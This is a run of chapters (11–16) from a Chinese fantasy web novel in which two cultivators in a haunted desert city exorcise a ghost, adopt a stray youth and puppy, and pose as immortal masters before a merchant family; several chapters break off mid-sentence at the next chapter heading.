活菩萨冷冷盯他。游莲坦然回视。 话已至此,那女子并不计较自己的归处,只有些放不下:“我的骨头……” 云歇一瞥,看去地上一直不吱声的少年,和脚边白骨:“自有还债的替你安葬回原处。” “这样啊……将军走了好久,也不知道还能不能碰到。万一能——我这一生,将军让做的不让做的,我都做过了,几次险些要提早下去……将军知道,可要骂我一顿。”说着说着,她释然,甚至雀跃起来:“算了,骂就骂了。我都活到这把年纪,将军骂也不会骂太狠的。” 活到这把岁数,却仍有几分天真,人说替她超度,她便信个十成十。感慨完,又用夸孙子的口吻夸云歇:“小姑娘年纪轻轻,本领挺大,必定前途不可限量。如此,便辛苦你超度超度我这个老婆子了。” 云歇:“……”她听到人又在后头笑,掌中火焰霎时噼里啪啦燃起。 “等等,我仍有一事放不下。”见黑火扑面,女子急忙道,“恩人可否跟我通一通气,一路上黑不黑,吓不吓人,鬼多不——” 滋一声,黑火瞬时大盛,将女子虚影吞进,她尾音的“不”字拐了好几个弯,消散在空气里。 一点灰烬扑簌落地,火星一暗,风一吹,了无痕迹。 弥散空中的烟气有些呛,游莲这回没有扫开:“这超度法子倒是快准狠,闻所未闻。话说,她知道她的将军现在也是鬼吗?” 云歇:“若是能见到,她应该顾不上怕。” 游莲颔首:“也是。” 云歇回 11. 诡宅(6) 《炉鼎的自我修养》全本免费阅读 少年走远。一步三回头,背影一瘸一拐掩不住雀跃。 游莲目送,道:“我不认为这是个好主意。” 云歇置若罔闻,踏出窄窄巷口。 街上红灯笼依旧,一团团光洇透雾气,将整座不渡域点缀得恍如白昼。不断有游魂穿门而出,旗帜一般飘荡上空,眺望夜幕下沉入梦乡的遥远村庄。 生肉活血对死魂的吸引力巨大,约莫因为撕开就会喷涌的蓬勃生机,是死魂的永不可再成为。 一到夜晚,阴煞气重,压抑不住的本性驱使他们往活人气聚集的地方窥伺。 云歇想起来不渡域前听到的那两句忌讳。 整一座灯火通明的不渡域,立在荒凉无垠的戈壁沙漠中,可不就是迷途人或亡命徒的绿洲。这里有遗落古时价值连城的珍宝,更有等待舐血饮肉的獠牙。 吸引猎物如飞蛾扑火般涌来的不渡域,是陷阱,也是牢笼。牢笼一说,对猎物显而易见,同时也拘禁住猎人。 不渡域外,甩在阴差手里当啷作响的镣铐声,日夜回荡。 而云歇方才超度亡魂送往阴曹的善举,为着生死簿上得以勾掉的一笔烂账,阎罗也该对她道声谢。 积阴德嘛。 云歇想,倒也贴切。 游莲拂开渐浓的雾气,追上去:“难不难吃是一回事,但他做饭一定不能吃。难道你要我相信一条……的厨艺?” 云歇头也不回:“他的手脚和你长一样。” “他连耳朵尾巴都收不回去,怎么可能——”身后人音调扬起又按低,“而且院子小,我们还寄人篱下。” 真奇怪。 刚进院子,没被盖没饭吃,险些就要吃进一盘蛆,也没见他说话这么别扭。 云歇纳闷:“方才你不是问我的意思吗?” 自作聪明的人一噎,纸扇捏在修长指间开了又合,合了又开,风丝浮躁:“我没想到你会真的留下他。” 云歇看不懂事的孩子似的:“你一不会生火二不会做饭,怎么还嫌弃别人。不要这样挑剔。” 乍然一听,游莲有些错愕:“你是为了我?” 可不是。 没有个生火做饭的,明天那边捧来一盘蛆,她又要陪着他花大半天逛几圈找吃的,多浪费时间。不如一了百了。 怎么养了个这么费事的? 不,她没想养。她是为了避免在不渡域中可能遇到的一堆麻烦,先养了这个麻烦,不料麻烦自带一堆麻烦,吃喝拉撒样样都得操心。他连鸡要怎么吃都不知道,还能指望什么? 好麻烦。 现在让他赶紧走,还来不来得及? 烦闷成串滚过云歇心头,她面上兀自巍然不动:“是的。” 这一声敲平了游莲眉心。 几要散架的纸扇逃过一劫,又遮遮掩掩地盖上他翘起的嘴角:“既然如此,都听当家的。” 街巷条条相似,带路的事情全是游莲在管。他落着半步带着路,一派从容道:“当家的,有些东西看着是可怜,但来历不明,还是要防范一些为好。” 云歇听出点道理:“你是让我防范你?” 游莲拨开扇没合好的窗,意外道:“此话怎讲?” “最来历不明的就是你。” 游莲连声冤枉:“怎么会是我。论交情,也是我与你认识在先。且,当家的对那个女鬼来历尚且了如指掌,我的底细,你应该十分清楚才是。” 云歇被他不知是有意无意的话撩起些烦躁,免不了,又看一眼他的背后。 察觉她目光,游莲跟着回头,看到白雾与飘忽鬼影,疑惑道:“有什么不妥?” 不妥? 云歇看眼前人,从头到脚,哪哪都写着这两个字。 “橘子——又香又甜的大橘子——” 一阵吆喝并着橘子皮破裂溅开的清新香气,引人往前看。 不知不觉就到了地方,远些,喧嚣灯火影子混煮得热热闹闹。近些,几个大箩筐挡在路中。 游莲在箩筐前停住脚。 箩筐里堆满了金灿灿黄澄澄的大橘子,堆到冒尖儿。橘子个个圆圆胖胖,剥开薄皮,香味跟着汁水溅出一片。摊主是个极和蔼的,边吆喝边招呼过路人吃。 乍一眼,真像是路过人间时的寻常景象。若不是摊主头上顶着对巨大弯曲的黑牛角,剥橘子皮的是对牛蹄。 牛蹄还挺灵活,几下撕干净橘皮,又撕了橘络,一半往自己嘴里塞,一半往游莲手里递:“尝尝,不甜不要钱。” 虽是具妖身,倒会做生意得很。游莲道声谢,接过,低头打量:“没想到西北荒凉,来的一路上都没见到河,竟然有如此好吃的橘子。” 他送都没送进嘴里,瞎话张口就来。云歇站在一旁看他做把戏。 摊主挨了夸笑呵呵:“那可不,都是老牛我一亩一亩犁出来的地,包管又大又甜!” “原来橘子是地里长出来的。”游莲也笑,“真是长了见识。” 橘子是不是地里长出来的,云歇不知道。可外头的地长什么样,云歇再清楚不过。从东向西一路草木愈渐稀疏,到不渡域方圆百里,只剩贫瘠。总不能天赐的一点水源,全恰巧塞进这几箩筐橘子里。 看出摊主对自己种的橘子很是满意,几句话功夫塞完一个又掰一个。脚下扔成一堆的橘子皮,怕都是他自个儿吃的。 游莲就势撩袍蹲下,认真挑起橘子来。 他拿起一个,放在眼前转着看,放在手上转着摸,极其仔细,唯恐漏掉一寸。赏金鉴玉似的看过这一个,又拿起另一个。云歇看着都寻思,橘子皮是不是被他搓薄好几层。 “上一次闻到这么香的橘子,还是在昨天早上。”游莲剥开橘瓣在鼻间嗅,鲜亮汁水破开薄皮,滴下指尖,“嗯,味道也像。对了,当时也是与这一般大的箩筐,一、二、三、四……嗯,也是四筐橘子。不过那四个筐都装满了,这空的半筐,是老板你自己吃的吧?” “对啊,你瞧瞧这破地方连根草都没得嚼,老牛一吃上好吃的,不小心就吃得多了。”摊主瞪着牛眼不住嚼动嘴,“你怎么知道?” 游莲娓娓道来:“这橘子,跟着茶叶丝绸瓷器一起 12. 诡宅(7) 《炉鼎的自我修养》全本免费阅读 站巷口张望的,正是要留在云歇身边捡垃圾的少年。 一生中,谁能不碰见几个冤大头。 少年命不好,真没碰见过。 冤大头没碰见,倒是在不渡域的泥石流里碰得头破血流,数着哪一天撞大运,就此一命呜呼,到阴曹地府一脚踹翻阎罗王桌子,问明白为什么给了他这样一条烂命。 可是吧,又说投胎前要先还债。 离个大谱。 这辈子,只有天欠他的,竟然反过来要他还债。 他死了岂不是更亏? 不行,绝对不行。 起码死之前,得先找个冤大头傍一傍。 巧了,冤大头有钱有势,见着金元宝掉地上都不带捡,和傻子似的。虽说削了他一颗牙吧,又不疼,跟从前挨过的打一比,挠痒痒都不算。气势是可怕了些,可她手软啊,不渡域里,手软最要命。这么久,没见过比这更傻更能宰的冤大头。 一定是贼老天被刀划拉出眼缝,掉给他的冤大头! 不就是在傻子手下讨生活吗,装得比她更傻不就得了? 谁还不会装傻子了? 少年躲在巷口吃西北风饱肚,饱得肚子都咕咕打鼓了,远远的,终于见着两人过来。 原本对能留下来捡垃圾没抱希望的,却没想到她会答应得那么轻易。更没想到这两人真的回到约定地点,而不是撇下他走了。少年眼前一亮,踉跄奔上前两步,忍痛别扭地瘪嘴说:“还以为你们跑了呢,害我等这么久。” 游莲冷眼盯他:“你自己要回去收拾家当,我们跑了也是你活该。” 说来也奇,云歇一答应留下他,少年点得脑袋要掉,眼睛里的渴望藏也藏不住。一眨眼睛,又说他要先回去收拾家当再过来。 家当?他连片烂叶子都揣身上当宝贝,还有什么家当?扣墙上泥巴吗? 谎话一戳即破,不知为何,少年万般犹豫,还是离开了。现下折返回来,真带来了东西。 鼓鼓囊囊一团,用几块脏得看不出颜色的碎布严实盖着。没多大一团,但也没小到能揣进袖子口袋——少年满脸心虚,巴不得布团能有多小变多小,藏得神不知鬼不觉才好。 可惜没办法,他只能老老实实抱在怀里。 少年发觉云歇的目光,锐利得仿佛已经穿过碎布看清底下,连忙往怀里更包紧了些。不料,他一动,怀里一团跟着动,还出声。少年立时僵住,忙不迭要去捂。 这一回,游莲的目光也挪过来,上下打量,听见闷在布团里的哼唧,疑道:“……你下的崽子?” 少年低了又低头,声若蚊蝇:“我捡的。” “……捡的?你把自己都养得半死不活,还捡。”这样说着,游莲面色却稍稍软和,“拿出来吧,活的你还想藏起来,真要闷死不成。” 没等少年去掀,碎布团先被里面东西挤开条缝,呼一声,钻出个脑袋。 黑漆漆的一个小圆脑袋,实在是太黑了,乍一眼没能看出眼睛嘴巴鼻子长在什么位置。直到那小东西嫌热,吐出条红舌头喘气,才勉强看清是什么模样。 一坨小黑狗。 绒毛未褪,耳朵软趴趴,双掌合捧大小,毛茸茸圆滚滚。看起来刚离开母狗腹下没多久,还有个肥嘟嘟的小肚腩。 显得抱着它的那双手更加瘦骨嶙峋。 云歇伸出手去,那乌黑小圆脑袋摇摇摆摆拱过来,暖烘烘热腾腾,还想舔。云歇及时缩手。 云歇看看它,看看少年,“你——”一时竟不知道说些什么。 游莲在一旁头疼地揉眉心。 两对狗耳朵在沉默中一趴再趴。 惨。 冤大头再傻,难道还能做出这种买一送一的亏本生意吗,那得多傻? 贼老天好不容易睁开的眼缝儿,是不是就要闭上了? 少年肚子里的鼓敲个不停,敲得他浑身伤口疼痛难忍。他能忍,他习惯忍,忍的时候受伤最少,也有技巧。胳膊抱住脑袋,腿护着肚子内脏,忍到施暴者泄愤完毕,再爬起来看看是缺胳膊还是少腿。运气好些,还能捡回刚刚偷到的东西。 现在也只能忍,等人三言两语发配他的下场。大不了就是冤大头不傻了,觉得留他这么个玩意太亏,干脆不留了,有什么大不了。大不了赶紧死了下去踹阎罗王桌子,什么都没有还怕欠债,还债前先砸一顿砸个够本—— 鼓声敲得他都要把鼓槌吐出来了,才听见人说话。 游莲左思右想,很是头疼,“可以想象后面是永无宁日了。” 云歇看一眼他手上扳指,“眉是青给的一只鸡好像不够吃。” 游莲:“这只这么小,不用吃肉吧?” 云歇:“不吃肉吃什么?你有别的东西可以喂吗?” 游莲:“嗯——还是吃肉吧。” 少年耳朵从颓丧到翘起,低下的眼睛越来越亮。 好的,踹阎罗王桌子的事先放放,他可以傍冤大头了。 贼老天不算瞎了眼—— 走出好一段路,都没听到后面有脚步跟上。游莲回头,见大的还呆在原地,小的缩他怀里在抖毛,于是说:“愣着干嘛,很晚了,快跟上来。” 少年好一会儿才回神,低头收好快裂开的嘴角,迈出腿,慢慢追上前面两人。 腿上被咬出的伤口在流血,拖慢以往迅疾无影的脚步。引以为傲的逃命功夫一旦发钝,迟早会沦为别人的盘中餐。他在几个呼吸前,仍为即将死去而恐惧不安。 追着前面人,少年步伐拖沓,越跨越大,越走越快,越追越近,踩上其中一人的影子。 瞥一眼身后两个黑成一坨的影子,游莲轻声叹:“善心沽不成银子,倒 13. 诡宅(8) 《炉鼎的自我修养》全本免费阅读 路上少年一直在说话:“这有什么好念念不忘的的?打打杀杀,吵死个人。头回听到的时候,我差点跳起来把屋顶捅破,就怕被刀砍到。” “不过趁那时候去偷东西最好,声音都盖过去,可方便嘻嘻哈哈哈哈……” 一走到有屋檐的地方,少年就闭嘴垂耳。越到门口走越慢,干脆在门口寻了块石头蹭脚底的泥。没穿鞋,差点把脚底板蹭破层皮,才罢休。然后,进两步退一步地进了门去。 门敞开着,那二人自去忙活,留他一个磨来蹭去,不催也不请。 少年缩去屋角,低头搭眼左右偷觑,怀里布团一拱。原是狗崽子闷不住了,挣脱跳下地,抻腿拉出个懒腰。 屋瓦遮上肩膀脊背,高墙围路,少年连呼吸都不敢声张,连忙去捞狗。游莲一把揪住他领口,揪到水缸旁,说:“把你自己身上全洗干净……算了手脚洗干净就行,不干净不准进屋。自己下的崽子也给洗了。” 少年梗着脖子边扑腾边嘟囔:“都说不是我下的了。” 到底老老实实去掀水缸盖子,没拿稳,水瓢差点扔地上摔作两瓣。没摔破的原因在于,砸到了四处趴嗅的狗崽脑壳。 游莲无视一地狗叫,把采买的东西放去灶台,回身进屋。 昨夜搁置的红纸灯笼仍是诡艳,静静立在屋正中的桌上,里头蜡烛已经烧化。游莲取了新蜡烛安进去,拿火折子,挑亮烛芯。 灯笼一提,拐进西厢,照去倚窗而立的那道影子。西厢这扇窗比主屋小些,同样对着院子,院里狗崽正在水浇下抖毛。云歇看着窗外道:“有东西进来过。” 游莲提灯晃一晃这间昨夜宿过的屋,问:“丢了什么东西吗?” “味道。” “味道?”游莲实是无法从满屋子木头味分辨出什么,除了……这人与他擦肩时擦起阵微不可觉的轻风。游莲侧身,注视着她走进屏风后,顿了一顿,跟了上去。 屏风后架着床和柜子,站进两个人顿显局促,游莲退出一步。灯火从屏风墨水摇到床前踏脚,他眉心皱起,“这里也进来了?” 云歇下巴一抬,示意,“床上。” 游莲面上霎时僵住,继而微微扭曲起来:“床上?” 云歇侧目看他。他看起来像是要把整张床都扔了。当然,他也的确那么做了。整床被褥连枕头被一气丢出门去,要不是在别人的地头,怕还要点火烧个干净。 再进屏风后,游莲脸色已经恢复了平静,道:“还有呢?” 还有床脚边的半朵梅花印。其实不一定就是梅花,但圆圆的几个窟窿凑一起,瞧着像,云歇便说它是梅花。多亏灰尘厚,抓到这么一点马脚。 也只是一点,除此外,再无不妥。进来的是谁,什么目的,通通无迹可寻。 既然寻不了,还费劳什子功夫。云歇转身出屏风,忽然听身后人问:“为什么是念念不忘?” 见人站定,游莲说下去:“为什么不能是憎恨、厌恶或者其它。而偏偏是,念念不忘呢?” 云歇侧身,“你就当我瞎说。” 游莲闻言便笑,道:“我有没有这个荣幸,可以听你瞎说更多呢?” 得不到回应。灯笼光跟着他追上,在云歇左右游来游去,“打仗的地方,什么都被打没了,就像你说的,亡魂游荡四百年。那样痛苦不堪,为什么还要念呢?我倒觉得是憎恨,瞧瞧这地方都被糟蹋成什么样。念念不忘这个词,会不会太温柔了些。” 云歇嫌他的大袖子挡路,又嫌灯笼晃眼睛,站定在花几旁,扫他两眼,问:“这地方多久了?” 游莲略一沉吟:“四百年前陨落的古城,算上历朝历代,千来年吧。” “是吗?” “那,万年?” “不止。”云歇摇摇头,“从天地开。” 游莲讶然,继而点头:“对极。” 云歇继续说:“千年前,有人在这里建起第一道围墙,划出国界。从此它是城池,战场,失地,复地。归根究底,都是来来往往的人戴到它头上的名字。而在此之前,日月星辰,沙漠丘壑,都在它眼前诞生。” 游莲眼睛微微发亮,“眼前?” 云歇斜睨过来,“就当它有。” 游莲坐下,点点头:“就当它有。” “所以,”云歇正色道,“已见天地之大,何必浪费时间在憎恶上。何况,高楼起高楼塌,现在看看,不过是始作俑者在毁灭自己,与这片土地无关。既无关,谈什么憎,谈什么恶。” 游莲拄腮看她,说:“真有道理。但我从未听闻,蜃景连声音都可以凭空捏造……” “啊,我知道了。”他拊掌一拍,恍然大悟,“日月星辰,千万年沉默不变,看久了看腻了,就想热闹些嘛。也是,没有什么比打仗时候更热闹了。” 云歇目光落去虚空,神色难辨,沉默下来。游莲低眸,顺着她肩头几缕勾勾绕绕长发看到袖口指尖。以为她不再回答,正要开口,却听见她说话。 “号角声在城门外。”云歇声音低下去,带着极少见的犹豫,“可能,它在怀念,从前为守护这里而战的人。” 声落地,对面人却安静了,背往后一靠,黑暗隐没白衣。 微光抹过他半片下颔和拉平的唇线,不见梨涡,耳根抻到脖颈的那条筋绷紧着。有那么一时半刻,云歇看见他似乎放弃掉一切镜花水月似的玩笑散漫,静默而危险地蛰伏着。 但很快,那粒梨涡又出现了,他由衷开心般,忘记维持眉眼弯下的固定弧度,“我真是喜欢你这句话。” 云歇挪开眼,不以为意,“强加上去的七情六欲罢了,不一定对。” 这话泼不了对面人冷水,他笑容灿烂至极,抬起看过来的眼睛好亮。真的好亮,仿佛星辰不小心掉进去,太过璀璨,以致熊熊燃烧起来。 嗯?燃烧?嗯? 云歇回头往窗外看去一眼,就一眼,下一息,两人急速奔出门外。 火光映亮小半院子,浓烟滚滚。 着火了。 只见搭棚柱子被火舌舔住,火势汹汹直往上窜。底下灶台弯腰趴着个少年,脸蛋手掌乌漆麻黑,边扇风点火,边转头指挥:“快,快塞进去。” 火从灶台不断蔓上来,充当干柴的东西太大,塞不进炉膛,火星溅得到处都是。而被强塞进去的,正是游莲刚扔出来的那床被子。狗崽子听着指挥,咬住被子一角嗷呜嗷呜地往里叼。 狗崽蹬腿咬牙使力,忽然后脖子一紧,被人一把提起来。游莲冷着脸紧走两步,再去揪少年后领。少年趴在地上扇风扇得起劲,冷不防被人拖走,挣扎着欸欸欸。 但下一刻他就欸不出声了,像陡然被掐住脖子,眼睛瞪大。 退后开阔的视野中,火焰吞没上方小半个棚顶,柱 14. 诡宅(9) 《炉鼎的自我修养》全本免费阅读 一只鸡连骨头带渣,开胃小菜都算不上。又掏了游莲半筐橘子,才堪堪堵住两个无底洞。 少年一开始连皮都不剥,整个橘子塞进嘴里,脸酸成皱疙瘩,捶着胸口往下咽。边骂什么鬼东西,边往筐里伸手。 游莲拍开他手,“有你这么吃的吗?”剥开橘皮,递给他。 少年被拍的气都没机会撒,半信半疑接过,咬一口,眼睛一亮。就此投入他的剥皮大业,恨不得连脚都用上,吭哧吭哧往肚里大塞特塞,顺便投喂趴地哼唧的狗崽。 一筐冒尖的橘子,以飞快的速度矮下去。云歇在院子周围巡过两圈,回来见他们要被橘子皮山淹了,立马叫停。 狗崽子倒栽葱插进筐里,拔出来,路都走不直。少年仰地抱着滚圆的肚子,满足得想要翻滚。滚不动。他说梦话一样:“这就是吃饱的感觉啊……” 游莲出门前瞥地上这坨,说:“属实是出栏的猪了。” 猪喃喃:“猪?好吃吗?不不不,我现在真吃不下,放着明天再吃……” 门外仍是那满院狼藉,没个下脚地方。弦月被乌云遮住,云歇仰头看墙头伸进的虬结枯枝,道:“太安静了。” 从进这处院子开始,除了讨饭送饭一出外,宅子里的东西将他们忽视得彻彻底底。刚才屋子险些烧塌,没引起一点注目。 哪里是待客。 “似乎烧的是无主的屋子,连个出来讨债的都没有。”游莲走过一地乱石堆,掀起盖子,“水也没了。” 他很惋惜,身上白衣原是极清雅,沾了灰什么也不是。没有水,拿帕子擦,越擦越脏。管不了,便随它去。游莲一转头,发现云歇在看他。 月光撕雾霭漏下一二点,她瞳仁极黑,专注看人时极深,隐约,就有些莫名意味,“院外被下了禁制。” 游莲一点就明,说:“所以今夜闹出这样大的动静,他们不闻不问。不对,今天我们出去也回来了,并无不妥。” 云歇道:“我们自然能进能出,禁制蒙的是外面人的耳朵眼睛,让他们继续把这院子当成空摆设。” “真能折腾。”游莲不解,“怎么昨晚还要放我们进来?” “你昨晚说话闹,真闹起来动静太大。”云歇走近一步,“既然放我们进来,对方不可能坐以待毙。我原想着里面该有天罗地网,没想到,连试探都做得这么小心。就像——” “就像毫无准备,真打算在这里正正经经过日子。”游莲接道,“做贼心虚,可不就得小心些。可能,对方也很疑惑。” “嗯?”云歇轻瞥来一眼,示意他说下去。 游莲眼含戏谑,道:“疑惑你明明可以直接拆了这里,一天下来,却是东走西逛,半点正经事没做。说不准,对方也在猜你究竟想要干嘛。就跟刀吊着绳悬在脖子上头似的,可吓人。” 云歇唇角轻勾,不带笑意:“还不是因为你,你可真麻烦。” “不不,忙活一天,东西我是半点没吃到。”游莲摇头,“再说,当家的,我哪里能做得了主?” 意有所指,二人齐齐往屋里看去。里头两只吃饱,正叠着互相咬毛。 四周鸦雀无声,云歇抬头看天,好黑啊。 低头,目光落去他前襟潦草的炭灰。更黑。 顶着一身潦草的人跑过去敲墙,颇有些兴致勃勃,“无论多大声,外面都听不到吗?” 云歇:“你可以试试。” 他举手又放下,问:“禁制要破开吗?” 这回云歇沉默久一些,再开口,意味不明:“就这么破了,多浪费。” 有点近。 游莲浮起这个念头时,她足尖已经踩到他的影子。不仅如此,多是轻飘飘瞥过来的那双眼睛,一直定在他身上。说了这么些话也没挪过。 他被盯得面色微僵,低头检查身上有无不妥,一身脏,忙伸手摸脸,问:“脸上也脏了?” 云歇摇头,道:“脸很干净。你有带别的衣裳吗?” 被问的人不自觉绷紧肩背:“有的。” 想也有,云歇本就是问个客气。 近瞧这袭白衣,色工缎绣,无一不雅。肩宽腰束,无一不合。衣下身躯看着瘦,却绝不会令人觉得弱,相反,收缚在衣裳里的剽悍筋骨如同收鞘的剑。在他行止坐立时,在他举手抬足间,处处可见端倪。 转一圈,从腰后泼下的发尾看到云肩盘扣。 那片云肩乍看华丽非常,仔细一看更是。上头云纹水纹叠得眼花缭乱,像是银子搓成线绣出来的。针脚密密,浮雕一般。穗子拿在手上,凉而滑。 几步间,就将人逼退进墙角。 云歇轻扯一扯穗子,目光平平定在他鼻尖,问:“怎么还躲上了?” 穗子不长脚,长脚的是人。 一扯,游莲又退一步,脚后跟抵上墙,站住了。 屋檐影子落下来,空气逼仄。 分明是他生得高些,但对方撩起眼皮看过来时,总给人一种被俯视的意味。 游莲侧头敛睫沉默片刻,转回来,面色如常微微一哂:“当家的突然靠这么近,还这样看我,我怕被你扒了皮。” “你是做了什么亏心事吗,怕被人看?” “亏心事?”他作势垂眸深思,“让我想想,当家的是问哪一件呢?” 这般一垂眸,正好与她的撞上。 云歇又听到那种混乱时序下的鼓噪。 隔层土墙是狗崽子快困过去的呼噜声,头顶风割枝叶沙沙作响,再远些,鬼哭彻夜不停,皆盖不住春雷动。 但面前这人就是有这种本事,能把一池惊涛粉饰得风平浪静,浅色的眼眸含水含光,清澈见底,还要问她:“当家的,你要听吗?” 好似她问了就会说似的,云歇觉得没意思,撒开穗子,道:“白色那件。” 青年刚要扯开个若无其事的笑,木了一下,“白色那件?” 对方退开几步,目光从他脸上挪走。 “明天换上白色衣裳,全是白色最好,不要花里胡哨。”她着重点一点那一片云肩,“不要穿这个。” 话说得没有前因后果,没等人理不理解,云歇径自转身进屋,跨过门槛时听见身后人轻声应:“好。” 凉风习习。 窗里一豆灯火,细碎火光掉上拖曳过门槛的黑色袍尾,狗崽颠着圆肚子追来咬去,被根苍白长指轻轻一戳脑门,倒地翻开肚皮。 站在墙角阴影的人注视着窗口,良久,抬手,揉了揉仍是发烫的耳根。 * 回顾这一天基本算是瞎忙,将就着也是过了一天。看看天色,就只剩下睡觉这个问题。 屋里少年抱着狗崽数头毛。那片头毛焦得差不多,实在没剩几根。两只流浪多日,又烟熏火燎一回,脏得脸都瞧不清模样。身上伤口也没处理,结血垢蹭灰。 不过,妖鬼混世向来无上药治伤一说,捱得过就活,捱不过就死。剩口气的,找个洞躲 15. 招魂(1) 《炉鼎的自我修养》全本免费阅读 安静一宿。 次日清晨,云歇推开门,关不住的一院嬉闹声迎面扑来。 少年蹲在水缸旁,一瓢一瓢勺水往狗崽子身上浇,边拿手胡乱搓狗毛,搓下一地黑泥水。狗崽夹着耳朵尾巴躲,躲不掉。少年自个儿身上也不住往下淌水,半长及肩的乱发和衣裳湿漉漉。瞧背影,比昨天脏兮兮的干净了不少。 头顶上那对耳朵竟然是黄毛,云歇还以为就是黑的呢。 又是哪儿来的水? “在旁边空院子找到个天井,刚好,我就使旺财去把水缸挑满了。”说话声在身后响起。 云歇回头。 不渡域的夜晚永远凉雾萦绕,白日却是天光晴好,太阳灿烂得好似要掘光每一尺饱受黑暗侵蚀的泥沼。此刻,也是如此。 他身上当真换了新衣。没有云肩,没有水蓝绣纹,白衣布料平平无奇。满身蹬鼻子上脸的富贵气荡然无存,见者全部注意力,便一概来到那无可挑剔的脸盘和身条上。 头上绾发簪的白玉换成白布条,轻飘飘两抹,在晨风里徐徐扬起落下。连脚蹬的长靴也是白的,整个人不染尘埃。 看上去,像是刚从哪座仙山上滚下来,撞乱丛叶,只沾了满身晨曦露水。 云歇疑惑:“旺财是谁?” 游莲往旁一撇嘴:“喏。” 少年抱着狗噔噔噔跑上来,一脸忐忑认领:“我,我是旺财。” 眼熟的盖过半张脸的长杂毛,洗成黄色,一对藏底下的眼睛大又黑,脸洗去层土也是黑漆漆的,不知在外头晒了多久才能晒成这种色。 云歇从少年脸上看到他怀里黑乎乎吐舌头的狗崽,问:“它呢,叫什么?” “大黑。” 名叫大黑实际小得被人拿来提去的狗崽子,一见云歇,圆眼噔一下发亮,撒开爪子往前扑,然后被按住了。 游莲按着狗脑袋,搡回少年怀里,不轻不重道:“身上都是水,蹦什么蹦。” 狗崽子哼哼唧唧。旺财只好抱着怎么洗都是乌漆麻黑的狗,蹲回水缸边继续洗。 泥水弄湿手指,游莲掏出帕子,一揩一片污迹。按他随手用帕子的势头,云歇怀疑这人来之前先抢了间布料铺子。 未等她开口,这人展开双臂向她道:“当家的,我这身新衣裳如何?” 云歇目光跟着他飘飞的白带子转了一转,落到披腰的发,问:“能把头发全扎起来?” 他拨开飞到眼前的带子,捋了一捋,道:“不好吧,那是十几岁孩子扎的发式,到我这年纪,不太好。” “你这年纪?”云歇端详这人脸上平滑的皮,迎风送波的眼,“你什么年纪?” “今年……”他竟然还要掰指头算,煞有介事,“应该算二十有二了。” 是就是,什么应不应该。云歇偶尔会有日子过糊涂的时候,但那是因为身后途径的岁月已经涌作长河,涉足翻过的暗礁数也数不清。眼前这人说话老气横秋的又是怎么回事? 云歇点头:“的确有点老。” 人自嘲可以,听她说一句,笑意霎时消失,浅色的眸转过来,一眨不眨盯她。 云歇还在说:“稚子之时开灵窍,才有天资可赋。你这把年纪,现如今去爬哪一座山头求仙问道,跪断腰骨也进不去山门。确实晚了,可惜了。” 说到“可惜了”,她微微歪一歪头,看热闹似的看他脸色由白转红——大约是气红的。这人平素八风不动,竟格外在意年龄圈套,只脚踏进来,好似枯过一回的花舍不得枝头。 那点子薄红钻裂他一贯的从容,挂去耳根颊侧,倒与眼下细细红线相得益彰。他像是气得狠了,干脆别过头去不再看她,平静好一会儿,轻轻哼了一声。 “谁说不是呢,春天赏景尚且要挑嫩绿些的新柳,谁稀罕看去年残花。”他转回来,唇角梨涡浅浅,“但,当家的,你可不是这种俗人。” 云歇挑起个兴味的笑,回他一句可不是,“本山门仙途式微,好不容易逮到个有点机缘的,哪还有功夫管他是什么阿猫阿狗,计较年岁大这种问题呢?” 阿狗淋水洗完澡正在绷尾巴甩毛。 正这时,前头忽然响起一阵人声喧哗。平素鸡不叫狗不吠的 16. 招魂(2) 《炉鼎的自我修养》全本免费阅读 “仙师因何而来?” 这个世界,既有横行作乱的妖魔鬼怪,自然就该有降妖伏魔的神佛仙人。但,约莫是九重天上一层又一层的金顶云翳太厚,蒙住了神佛的眼,抑或是凡尘太重,怕折堕仙人轻飘飘的衣袂。总之,四百年天堑翻不过,凡人至始至终无缘再得见神迹。 不得见,自己开,总行了吧? 因乱象生,相辅相成。几百年间,仙门道家可谓是如雨后春笋,择神山灵岳而栖,立道法,授仙术。终年如一日弥漫山巅的大雾,见风雷就长,怎么也触不到云端。 降妖除魔,护佑一方。寻长生道,问修仙途。 口号是一句比一句喊得响亮,说来轻巧,难如登天。现实里,仙门的确也是那重山峻岭之上的穷途。任朝圣者跑折腿仰断脖,穷其一生,莫说求道,连山门往哪个方向开都没摸清。 可若是门槛高得这样拒人千里,这些仙门道家岂非很快就要人丁凋零,无以为继? 倒也不是,要等机缘。机缘一来,山门自开。 “我受指引,夜观天象,东天星宿无故乍亮,便东巡而下。机缘巧合,来到此处。”说话人生得一张菩萨面,低目不见悲悯,反是睥睨生威。一袭黑袍吞足曳地,徒增神秘诡谲。 看着好凶。 胜在她身后站了个捧剑含笑的白衣后生。年纪极轻,长身玉立,仙姿佚貌。一眼就知非池中物,望之如沐春风。 正是云歇与游莲一行。 机缘在哪儿,什么时候来,这类神神叨叨的东西,自然不是云歇这等非仙门族类能知晓的。 云歇也懒得糊弄。 且比起故弄玄虚,人们更笃信头顶上亘古不变的日月星辰,赐他们风霜雨雪,餐衣苦乐。虽说天象一则,何尝不是故弄玄虚中的佼佼者。 然计不在高,有用就行。 再摆个穿一身白的游莲往身后一站,不就得了吗。 反正,坐在堂上的崔家老爷与崔家夫人,只敢与白衣这位回话一二。至于黑衣那位,他们是半眼不敢亵渎。云歇一开口,二人便眼观鼻鼻观心,满心恭敬没有二话。 除非忍不住。 崔家老爷圆脸叠出三层下巴,眉头攒满愁色,手指颤动数下,一掐指腹,终于开了口:“仙师远道而来,老小子与全家人不胜荣幸惶恐。若能为仙师之事效力一二,更是三生有幸,万万不会推辞。只是,只是……这里是南边。” 话一出,堂中一静。 游莲挂嘴边的笑,就跟荷叶上顶的露珠似的,散不了。他衔着笑,不动声色,一双眼览过全堂。 下人们都挥退出去了,主位坐着两人,都生得一张圆脸圆眼,面相带善,衣着雍容。一位是面有病色正用眼睛骂崔老爷的崔夫人,一位是以为自己说错话恨不得掌嘴扼腕中的崔老爷。最后回到眼前这人。 她坐在一把梨花木交椅上,一根伶仃带子系发,满背乌浓泼雾。主人家本欲把她奉上主位,她不想,自个儿随便挑了张客座。顺便袖子一扫,把人送上主位。 主人家本就满心惶恐,哪里敢僭越,忽然脚下生风,手脚半点不由己,被无形风硬生生推了上去。屁股是落座了,心肝胆还稀稀拉拉掉在原地呢,半天归不了位。 原先还很有疑窦,当敲门的又是个招摇撞骗的街溜子,充其量皮相好些。这一番惊魂后,对来者是位从神山上纡尊下来的仙师,便信了九成九。 